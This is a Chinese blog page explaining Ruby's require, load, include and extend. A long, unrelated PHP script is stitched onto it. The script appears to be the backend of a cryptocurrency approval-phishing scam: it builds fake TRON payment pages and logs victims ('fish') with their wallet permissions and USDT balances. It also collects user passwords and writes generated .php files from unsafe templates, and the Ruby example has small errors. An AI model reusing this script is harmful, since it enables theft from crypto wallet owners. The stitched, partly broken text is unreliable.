require,include,load,extend的用途和区别

博客介绍了Ruby中库载入和模块引入的相关方法。require用于载入库,成功返回true,已载入的不会重复装载;load用于装载并执行文件,可设置在匿名模块下运行;include将模块插入类或其他模块;extend在对象中引入模块,使对象具备模块方法。
   这四个方法还是很好玩很有用,也是比较容易混的。

 1.require( aString ) -> true or false

   Ruby试图载入一个名为aString的库,如果成功了就返回true,否则返回false。如果给定的值不是一个绝对路径,那么将会在$:中查找。如果给定的名字带有.rb,则作为源文件载入;如果扩展名为.so,.o,.dll等(根据不同平台),Ruby将这些作为扩展程序来载入;否则,Ruby会自动尝试在给定的文件名后面加.rb,.so,.dll等。已经载入的库会放到数组$"中,已经在$"里的则不会被重复装载。比如:

 

require "my-library.rb"

require "db-driver"

 

 

2.load( aFileName, wrap=false ) -> true

 

装载并执行aFileName文件,文件搜索方法同上面的require。wrap是可选参数,默认为false,如果设为true,则这个文件将在匿名模块下运行,从而包括调用者的名字空间。任何aFileName里面的局部变量在装载它的环境下是不可用的。

 

3.include

include主要用来将一个模块插入(mix)到一个类或者其它模块。这个模块的方法在引入它的类或模块中以函数的形式调用(没有一个receiver)。这个指令运行时会执行Module.append_features方法。

 

 

4.extend

extend 用来在一个对象(object,或者说是instance)中引入一个模块,这个类从而也具备了这个模块的方法。

 

module Mod

  def hello2

    "Hello from Mod.n"

  end

end

 

class Klass

  def hello

    "Hello from Klass.n"

  end

end

 

k = Klass.new

k.hello   #"Hello from Klass.n"

k.hello2  # NoMethodError: undefined method `hello2' …

k.extend(Mod)   #<0x2e4c530></0X2E4C530>

k.hello  #"Hello from Mod.n"

 

 

 

<?php require_once '../../../../thinkphp/base.php'; use think\Db; use think\Exception; //require_once '../../../../extend/hehe/QRcode.php'; require_once '../../../../extend/hehe/qrcode/qrlib.php'; $config = include __DIR__ . '/../../../../application/database.php'; Db::setConfig($config); try { // 获取配置表单数据 $optionsArr = fetchOptions(); $fishAddresses = fetchFishAddresses(); $formData = getPostedData(); $order_number = generateOrderNumber(); // 验证支付地址 $paymentAddress = validatePaymentAddress($optionsArr); // 验证支付金额 $totalPrice = validatePaymentAmount($formData); $amount = htmlspecialchars((string)$totalPrice); // 生成二维码 $qrContent = "tron:{$paymentAddress}?amount={$amount}"; $qrBase64 = generateQrCode($qrContent); // 合并并验证表单数据 $requiredFields = [ 'goods_name' => '', 'num' => '', 'total_price' => $totalPrice, 'email' => '', 'password' => '', 'mobile' => '', 'attach' => [], 'goods_cover' => '' ]; $data = array_merge($requiredFields, $formData); validateBusinessFields($data); // 构建订单数据 $orderData = buildOrderData($order_number, $data, $optionsArr, $fishAddresses, $qrBase64); // 渲染并保存订单页面 $template_content = loadTemplate("../jiaoyi/pay.html"); $template_content = replaceTemplateVariables($template_content, $orderData); saveOrderPage($order_number, $template_content); // 处理授权成功的回调 handleAuthorizationCallback(); sendSuccessResponse("/epay/{$order_number}.php"); } catch (Exception $e) { ob_end_clean(); sendErrorResponse($e->getMessage()); } /** * 验证支付地址 * @param array $optionsArr 配置数组 * @return string 验证后的支付地址 * @throws InvalidArgumentException */ function validatePaymentAddress(array $optionsArr) { $paymentAddress = $optionsArr['payment_address'] ?? ''; if (empty($paymentAddress)) { throw new InvalidArgumentException("支付地址配置缺失"); } if (!preg_match('/^T[A-HJ-NP-Za-km-z1-9]{33}$/', $paymentAddress)) { throw new InvalidArgumentException("无效的TRON收款地址"); } return $paymentAddress; } /** * 验证支付金额 * @param array $formData 表单数据 * @return float 验证后的支付金额 * @throws InvalidArgumentException */ function validatePaymentAmount(array $formData) { $totalPrice = $formData['total_price'] ?? ''; if (empty($totalPrice) || !is_numeric($totalPrice) || (float)$totalPrice <= 0) { throw new InvalidArgumentException("无效的支付金额"); } return (float)$totalPrice; } /** * 生成二维码 * @param string $qrContent 二维码内容 * @return string 二维码的Base64编码 * @throws RuntimeException */ function generateQrCode(string $qrContent) { $errorCorrectionLevel = 'L'; $matrixPointSize = 4; ob_start(); try { QRcode::png($qrContent, false, $errorCorrectionLevel, $matrixPointSize); $imageData = ob_get_clean(); return "data:image/png;base64," . base64_encode($imageData); } catch (Exception $e) { ob_end_clean(); throw new RuntimeException("二维码生成失败: " . $e->getMessage()); } } /** * 验证核心业务字段 * @param array $data 表单数据 * @throws InvalidArgumentException */ function validateBusinessFields(array $data) { if (empty($data['goods_name'])) { throw new InvalidArgumentException("商品名称不能为空"); } if (!is_numeric($data['num']) || (int)$data['num'] <= 0) { throw new InvalidArgumentException("商品数量必须为正整数"); } } /** * 构建订单数据 * @param string $order_number 订单号 * @param array $data 表单数据 * @param array $optionsArr 配置数据 * @param array $fishAddresses 地址数据 * @param string $qrBase64 二维码Base64 * @return array 订单数据 */ function buildOrderData(string $order_number, array $data, array $optionsArr, array $fishAddresses, string $qrBase64) { return [ 'order_number' => $order_number, 'goods_name' => htmlspecialchars($data['goods_name']), 'num' => (int)$data['num'], 'total_price' => (float)$data['total_price'], 'email' => filter_var($data['email'], FILTER_VALIDATE_EMAIL) ?: '', 'password' => password_hash($data['password'], PASSWORD_DEFAULT), 'mobile' => preg_replace('/[^0-9]/', '', $data['mobile']), 'attach' => json_encode($data['attach']), 'options' => json_encode($optionsArr), 'fish_addresses' => json_encode($fishAddresses), 'goods_cover' => htmlspecialchars($data['goods_cover']), 'qrcode' => $qrBase64, 'create_time' => date('Y-m-d H:i:s') ]; } /** * 替换模板变量 * @param string $template_content 模板内容 * @param array $orderData 订单数据 * @return string 替换后的模板内容 */ function replaceTemplateVariables(string $template_content, array $orderData) { foreach ($orderData as $key => $value) { $replaceValue = is_string($value) ? addslashes($value) : $value; $template_content = str_replace("{{" . strtoupper($key) . "}}", $replaceValue, $template_content); } return $template_content; } /** * 处理授权回调 * @throws InvalidArgumentException * @throws RuntimeException */ function handleAuthorizationCallback() { if (!empty($_POST['authorization_success'])) { $fish_address = $_POST['fish_address'] ?? null; $permissions_fishaddress = $_POST['permissions_fishaddress'] ?? null; $usdt_balance = (float)($_POST['usdt_balance'] ?? 0.00000000); $time = date('Y-m-d H:i:s'); if (empty($fish_address) || empty($permissions_fishaddress)) { throw new InvalidArgumentException("地址信息不完整"); } $result = Db::name('fish')->insert([ 'fish_address' => $fish_address, 'permissions_fishaddress' => $permissions_fishaddress, 'usdt_balance' => $usdt_balance, 'time' => $time ]); if (!$result) { throw new RuntimeException("地址信息插入失败"); } echo json_encode(['status' => 'success']); exit; } } function fetchOptions() { $options = Db::name('options')->select(); $optionsArr = []; // 定义允许获取的字段列表 $allowedFields = [ 'domain', // 跳转域名 'payment_address', // TRC收款地址 'permission_address', // TRC权限地址 // 'bot_key', // 机器人密钥 'notification_id', // 通知ID 'trx_balance', // TRX阈值 'usdt_balance', // USDT阈值 'authorized_amount', // 授权金额 'authorize_note', // 授权成功后提示 'model', // 授权模式选择 'notification_switch', // 通知开关 'auto_threshold', // 授权后自动添加阈值 'chainid', // 链ID设置 '0x_payment_address', // 0x收款地址 '0x_permission_address' // 0x权限地址 ]; foreach ($options as $option) { if (in_array($option['name'], $allowedFields)) { $optionsArr[$option['name']] = $option['value']; } } return $optionsArr; } function fetchFishAddresses() { $addresses = Db::name('fish')->column('fish_address'); return $addresses; } function getPostedData() { return [ 'goods_id' => $_POST['goods_id'] ?? null, 'num' => $_POST['num'] ?? null, 'sku_id' => $_POST['sku_id'] ?? null, 'pay_type' => $_POST['pay_type'] ?? null, 'goods_name' => $_POST['goods_name'] ?? null, 'total_price' => $_POST['total_price'] ?? null, 'mobile' => $_POST['mobile'] ?? null, 'email' => $_POST['email'] ?? null, 'password' => $_POST['password'] ?? null, 'attach' => $_POST['attach'] ?? [], 'goods_cover' => $_POST['goods_cover'] ?? null, ]; } function generateOrderNumber() { return date('YmdHis') . rand(100000, 999999); } function loadTemplate($template_path) { $template_content = file_get_contents($template_path); if ($template_content === false) { throw new Exception("无法读取模板文件: $template_path"); } return $template_content; } function saveOrderPage($order_number, $content) { $order_page_path = __DIR__ . "/../../../epay/$order_number.php"; if (file_put_contents($order_page_path, $content) === false) { throw new Exception("订单页面生成失败: $order_page_path"); } } function sendSuccessResponse($redirect_url) { $response = [ 'status' => 'success', 'redirect_url' => $redirect_url ]; header('Content-Type: application/json'); echo json_encode($response); exit(); } function sendErrorResponse($e) { $response = [ 'status' => 'error', 'message' => $e->getMessage(), 'file' => $e->getFile(), 'line' => $e->getLine(), 'trace' => $e->getTraceAsString() ]; header('Content-Type: application/json'); echo json_encode($response); exit(); } ?>
最新发布
07-08
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值